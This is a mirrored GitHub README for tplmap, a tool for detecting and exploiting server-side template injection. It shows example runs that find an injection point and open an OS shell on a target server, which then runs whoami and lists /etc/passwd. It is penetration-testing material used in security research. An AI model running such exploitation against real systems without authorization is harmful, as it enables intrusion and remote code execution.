Coder Social home page Coder Social logo

izogain / tplmap Goto Github PK

View Code? Open in Web Editor NEW

This project forked from epinna/tplmap

0.0 1.0 0.0 265 KB

Automatic Server-Side Template Injection Detection and Exploitation Tool

Python 88.76% Java 2.95% HTML 0.26% JavaScript 0.63% PHP 0.95% Shell 6.44%

tplmap's Introduction

Tplmap

Tplmap (short for Template Mapper) is a tool that automate the process of detecting and exploiting Server-Side Template Injection vulnerabilities (SSTI).

This can be used by developers, penetration testers, and security researchers to detect and exploit vulnerabilities related to the template injection attacks.

The technique can be used to compromise web servers' internals and often obtain Remote Code Execution (RCE), turning every vulnerable application into a potential pivot point.

The modular approach allows any contributor to extend the support to other templating engines or introduce new exploitation techniques. The majority of the techniques currently implemented came from the amazing research done by James Kett, PortSwigger.

The application is currently under heavy development and misses some functionalities.

Example

$ ./tplmap.py -u 'http://www.target.com/app?id=*' --level 2
[+] Found placeholder in GET parameter 'id'
[+] Testing reflection on Mako engine with tag ${*} and 13 variations
[+] Testing reflection on Jinja2 engine with tag {{*}} and 9 variations
[+] Testing reflection on Twig engine with tag {{*}} and 1 variation
[+] Testing reflection on Smarty engine with tag {*} and 1 variation
[+] Testing reflection on Freemarker engine with tag ${*} and 1 variation
[+] Testing reflection on Velocity engine with tag #set($p=*)\n${p}\n
[+] Detected unreliable reflection with tag #set($p=*)\n${p}\n, continuing
[+] Testing reflection on Jade engine with tag \n= *\n
[+] Confirmed reflection with tag '\n= *\n' by Jade plugin
[+] Tplmap identified the following injection point:

  Engine: Jade
  Template: \n= *\n
  Context: text
  OS: linux
  Capabilities:
    Code evaluation: yes, javascript code
    OS command execution: yes
    File write: yes
    File read: yes

[+] Rerun tplmap providing one of the following options:
    --os-cmd or --os-shell to access the underlying operating system
    --upload LOCAL REMOTE to upload files to the server
    --download REMOTE LOCAL to download remote files

$ ./tplmap.py -u 'http://www.target.com/app?id=*' --os-shell
[+] Run commands on the operating system.
linux $ whoami
www-data
linux $ ls -al /etc/passwd
-rw-r--r--  1 root  wheel  5925 16 Sep  2015 /etc/passwd
linux $

Supported template engines

Template engine Detection command execution Code evaluation File read File write
Mako yes yes python yes yes
Jinja2 yes yes python yes yes
Jade yes yes javascript yes yes
Smarty (unsecured) yes yes PHP yes yes
Freemarker yes yes no yes yes
Velocity yes no no no no
Twig yes no no no no
Smarty (secured) yes no no no no

tplmap's People

Contributors

epinna avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.